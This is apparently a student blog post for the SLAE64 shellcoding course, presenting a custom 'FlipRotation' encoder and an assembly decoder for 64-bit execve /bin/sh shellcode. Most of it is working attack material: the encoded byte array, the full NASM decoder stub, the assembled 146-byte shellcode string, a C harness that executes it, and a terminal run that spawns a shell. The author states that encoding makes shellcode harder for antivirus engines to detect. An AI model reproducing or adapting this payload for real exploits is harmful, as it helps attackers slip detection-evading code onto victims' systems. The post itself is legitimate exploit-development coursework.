 
    
This post introduces my 4th mission of my SLAE64 journey.
Introduction
The fourth assignment goal was to create my own custom encoder and decoder of the execve stack shellcode. As you may know, the purpose is to execute /bin/sh
 
A shellcode encoder can be used for different purposes, making it harder to detect by AV engines or simply avoiding bad characters (such as null bytes).
There is a lot of overlap information with my post regarding the SLAE32 - Custom Encoder/Decoder Shellcode (FlipRotation Encoder/Decoder). I advise you to look at it if you haven’t done it already. There are some essential concepts and ideas to understand what and why the shellcode is doing.
FlipRotation Algorithm Overview
The algorithm logic is the same as the one described in the FlipRotation Algorithm. My approach here was to port the 32 to 64-bit version so I won’t go into details in this post.
Encoder
Similar to the 32-bit version but converted to output 64-bit assembly. Please see FlipRotation Encoder for more details.
Encoder Output
╭─edu@debian ~/Desktop/slae_x86_64/assignments/4-Insertion-Encoder-Shellcode ‹main●› 
╰─$ python3 flipRotation_Encoder.py 
        
        _______________________________________________________________
         <The "FlipRotation" Encoder - Bit flip and rotate your shellcode
        ---------------------------------------------------------------
            \   ^__^
            \   (oo)\_______
                (__)\       )\/\
                    ||----w |
                    ||     ||       
        
         
[*] Shellcode length: 32
[*] Shellcode: b'H1\xc0PH\xbb/bin//shSH\x89\xe7PH\x89\xe2WH\x89\xe6H\x83\xc0;\x0f\x05'
[*] Key Provided by the user. Doing magic with it
[*] Key: 0xa0
After rotation: 0x49
After rotation: 0x7
After rotation: 0x8a
After rotation: 0x94
After rotation: 0xb1
After rotation: 0xde
After rotation: 0x2d
After rotation: 0xa4
After rotation: 0x45
After rotation: 0x4a
After rotation: 0x7c
After rotation: 0xa4
After rotation: 0xcf
After rotation: 0x25
After rotation: 0x1c
[*] \x format: 
\x49\xff\x18\x02\x7\xff\x8a\xff\x94\xff\xd5\x02\xb8\x02\xb1\xff\x68\x02\xde\xff\x8b\x02\xc5\x02\x27\x02\x2d\xff\x49\x02\xa4\xff\x88\x02\x73\x02\x45\xff\x4a\xff\x88\x02\x7c\xff\x59\x02\xa4\xff\x88\x02\xcf\xff\x25\xff\x50\x02\x1c\xff\xd1\x02\x38\x02\x8\x02\xa0\xa0
[*] 0x format: 
0x49,0xff,0x18,0x02,0x7,0xff,0x8a,0xff,0x94,0xff,0xd5,0x02,0xb8,0x02,0xb1,0xff,0x68,0x02,0xde,0xff,0x8b,0x02,0xc5,0x02,0x27,0x02,0x2d,0xff,0x49,0x02,0xa4,0xff,0x88,0x02,0x73,0x02,0x45,0xff,0x4a,0xff,0x88,0x02,0x7c,0xff,0x59,0x02,0xa4,0xff,0x88,0x02,0xcf,0xff,0x25,0xff,0x50,0x02,0x1c,0xff,0xd1,0x02,0x38,0x02,0x8,0x02,0xa0,0xa0
--------------------
[*] Hack the World!
--------------------
Encoder script available at https://github.com/0xnibbles/slae_x86_64/blob/main/assignments/4-Insertion-Encoder-Shellcode/flipRotation_Encoder.py
Decoder
Similar to the 32-bit version but converted to output 64-bit assembly. Please see FlipRotation Encoder for more details.
Decoder
; Student ID   : PA-31319
; Student Name : Eduardo Silva
; Assignment 4 : Custom Encoder/Decoder Shellcode (Linux/x86_64) Assembly - FlipRotation Encoder
; File Name    : flipRotation_decoder.nasm
global _start
section .text
_start:
	jmp decoder
	EncodedShellcode: db 0x49,0xff,0x18,0x02,0x7,0xff,0x8a,0xff,0x94,0xff,0xd5,0x02,0xb8,0x02,0xb1,0xff,0x68,0x02,0xde,0xff,0x8b,0x02,0xc5,0x02,0x27,0x02,0x2d,0xff,0x49,0x02,0xa4,0xff,0x88,0x02,0x73,0x02,0x45,0xff,0x4a,0xff,0x88,0x02,0x7c,0xff,0x59,0x02,0xa4,0xff,0x88,0x02,0xcf,0xff,0x25,0xff,0x50,0x02,0x1c,0xff,0xd1,0x02,0x38,0x02,0x8,0x02,0xa0,0xa0 ; 0xa0 is the stop marker
decoder:
	lea rsi, [rel EncodedShellcode]
	lea rdi, [rsi+1]	; pointing to second byte (0x02) from shellcode
	xor rax, rax
	mul rax					; zeroes edx
	mov al,	1 
	xor rcx, rcx
	xor rbx, rbx
	
decode:
	mov bl, byte [rsi + rax]	; mov parity byte to bl
	xor bl, 0xa0				; check if reached the end marker | 0xa0 ^ 0xff = 0x5f
	jz short EncodedShellcode	; reached the marker if Zero Flag not set
	xor bl, 0x5f	; if equal parity is even (0xff)
	mov bl, byte [rsi + rdx] 
	jnz odd
even:	; rotate right
	ror bl, cl
	jmp short bitFlip
odd: 	; rotate left
	rol bl, cl
bitFlip:
	xor bl, 0x01
restore_next_byte:
	mov byte [rsi + rdx], bl	; replaces the original byte
	mov bl, byte [rsi + rax+1]  ; mov encoded byte
	mov byte [rdi], bl          ; change last used parity byte for the next encoded byte
	inc rdi                     ; rdi points to position of the next parity byte
	add al, 2                   ; offset added to next parity byte
	inc dl                      ; offset to the next encoded byte
	inc cl                      ; loop index value incremented
	; Doing circular array as modulo workaround. Use 0x08 as a divisor or circular boundary because we are rotating 8 bits (al register). 
	cmp cl, 0x08	; if equal ZF will be set meaning we have a complete rotation
	jnz decode      ; jump if rotation is not complete
	xor rcx, rcx	; if rotation is complete and reset cl to start again the "circular array"
	jmp short decode
Compiling and Testing the FlipRotation Decoder
Checking assembler.sh output
╭─edu@debian ~/Desktop/slae_x86_64/assignments/4-Insertion-Encoder-Shellcode ‹main●› 
╰─$ ../../assembler.sh flipRotation_decoder.nasm          
[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done
Shellcode size: 146
"\xeb\x42\x49\xff\x18\x02\x07\xff\x8a\xff\x94\xff\xd5\x02\xb8\x02\xb1\xff\x68\x02\xde\xff\x8b\x02\xc5\x02\x27\x02\x2d\xff\x49\x02\xa4\xff\x88\x02\x73\x02\x45\xff\x4a\xff\x88\x02\x7c\xff\x59\x02\xa4\xff\x88\x02\xcf\xff\x25\xff\x50\x02\x1c\xff\xd1\x02\x38\x02\x08\x02\xa0\xa0\x48\x8d\x35\xb7\xff\xff\xff\x48\x8d\x7e\x01\x48\x31\xc0\x48\xf7\xe0\xb0\x01\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x06\x80\xf3\xa0\x74\x9d\x80\xf3\x5f\x8a\x1c\x16\x75\x04\xd2\xcb\xeb\x02\xd2\xc3\x80\xf3\x01\x88\x1c\x16\x8a\x5c\x06\x01\x88\x1f\x48\xff\xc7\x04\x02\xfe\xc2\xfe\xc1\x80\xf9\x08\x75\xd0\x48\x31\xc9\xeb\xcb"
--------------------
[*] Hack the World!
--------------------
No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x42\x49\xff\x18\x02\x07\xff\x8a\xff\x94\xff\xd5\x02\xb8\x02\xb1\xff\x68\x02\xde\xff\x8b\x02\xc5\x02\x27\x02\x2d\xff\x49\x02\xa4\xff\x88\x02\x73\x02\x45\xff\x4a\xff\x88\x02\x7c\xff\x59\x02\xa4\xff\x88\x02\xcf\xff\x25\xff\x50\x02\x1c\xff\xd1\x02\x38\x02\x08\x02\xa0\xa0\x48\x8d\x35\xb7\xff\xff\xff\x48\x8d\x7e\x01\x48\x31\xc0\x48\xf7\xe0\xb0\x01\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x06\x80\xf3\xa0\x74\x9d\x80\xf3\x5f\x8a\x1c\x16\x75\x04\xd2\xcb\xeb\x02\xd2\xc3\x80\xf3\x01\x88\x1c\x16\x8a\x5c\x06\x01\x88\x1f\x48\xff\xc7\x04\x02\xfe\xc2\xfe\xc1\x80\xf9\x08\x75\xd0\x48\x31\xc9\xeb\xcb";
main() {
	printf("Shellcode Length: %d\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}
Compiling with gcc and executing it
╭─edu@debian ~/Desktop/slae_x86_64/assignments/4-Insertion-Encoder-Shellcode ‹main●› 
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main() {
 ^~~~
╭─edu@debian ~/Desktop/slae_x86_64/assignments/4-Insertion-Encoder-Shellcode ‹main●› 
╰─$ ./shellcode 
Shellcode Length: 146
$ whoami
edu
$ ls
core  exploitdb  flipRotation_Encoder.py  flipRotation_decoder  flipRotation_decoder.nasm  flipRotation_decoder.o  shellcode  shellcode.c
$ 
We get a shell!!!
This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64): https://www.pentesteracademy.com/course?id=7
Student ID: PA-31319
All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86_64